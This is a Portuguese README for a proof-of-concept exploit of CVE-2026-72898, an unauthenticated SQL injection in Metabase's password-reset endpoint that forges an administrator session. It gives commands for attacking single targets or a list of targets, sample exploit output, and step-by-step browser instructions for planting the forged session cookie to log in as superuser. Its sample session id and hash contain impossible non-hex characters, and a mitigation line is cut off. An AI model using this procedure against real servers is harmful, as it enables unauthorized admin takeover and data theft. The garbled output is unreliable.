
CVE-2026-72898 PoC : Injeção SQL Não Autenticada no Metabase
Injeção SQL de pré-autenticação no Metabase levando à tomada de conta de administrador
Prova de conceito para CVE-2026-72898, uma injeção SQL não autenticada crítica no endpoint de redefinição de senha do Metabase. A PoC injeta uma linha de sessão de administrador forjada na tabela core_session e a utiliza para validar uma sessão completa de administrador sem nenhuma credencial.
Nota: Esta PoC destina-se apenas a testes de segurança autorizados e a pesquisas. A CVE-2026-72898 está listada no catálogo de Vulnerabilidades Exploradas Conhecidas (KEV) da CISA e está sendo ativamente explorada no mundo real. Você é responsável por cumprir todas as leis aplicáveis e por obter autorização por escrito antes de testar qualquer sistema.
requestsInstale as dependências:
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
| Argumento | Descrição | Padrão |
|---|---|---|
-t, --target | URL de um único alvo | - |
-T, --targets | Arquivo com URLs de alvos, uma por linha | - |
-o, --output | Arquivo de resultados (separado por tabulações: target, result, status, session_id, admin_email) | - |
--timeout | Tempo limite de solicitação em segundos | 15 |
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
Um 400 na etapa 2 com Invalid reset token é esperado — significa que o payload de SQLi foi executado e a resposta foi interrompida. A etapa 3 retornando 200 em /api/user/current confirma que a sessão forjada é válida.
Status dos resultados: vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
O Metabase lê sua sessão a partir do cookie `metabase.SESSION`, portanto você pode entrar na interface web como o administrador forjado adicionando esse cookie:
**Google Chrome / Edge / Chromium**
1. Execute a PoC e copie o `session id` impresso
2. Abra `http://TARGET/` e pressione `F12` (DevTools)
3. Vá para **Application** (no Edge: **Application**; no Chrome: **Application**) → **Storage** → **Cookies** → selecione o host de destino
4. Clique no botão **+** (Adicionar cookie) e preencha:
- **Nome**: `metabase.SESSION`
- **Valor**: `<SESSION_ID>` (o valor impresso pela PoC)
- **Domínio**: o host/IP de destino (ex.: `192.168.1.1` ou `.example.com`)
- **Caminho**: `/`
- Defina uma expiração bem no futuro (ou clique em "Sessão")
5. Clique em **Salvar** e atualize a página
6. Agora você está autenticado como superusuário — o ícone de engrenagem de administrador ficará visível
**Firefox**
1. Execute a PoC e copie o `session id` impresso
2. Pressione `F12` → aba **Storage** → **Cookies** → selecione o host de destino
3. Clique com o botão direito → **Adicionar/Editar Cookie** e adicione:
- **Nome**: `metabase.SESSION`
- **Valor**: `<SESSION_ID>`
- **Caminho**: `/`
- **HttpOnly**: desmarcado (o JS define isso)
- **Secure**: desmarcado para HTTP simples
4. Salve e atualize a página
**Alternativa: extensão de edição de cookies**
Use qualquer extensão de edição de cookies (ex.: Cookie-Editor) para adicionar o cookie `metabase.SESSION` com o valor forjado no domínio de destino e, em seguida, atualize a página.
**Pelo console do navegador**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password na camada de rede/WAFSe este projeto ajudou você, considere apoiar seu desenvolvimento:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE
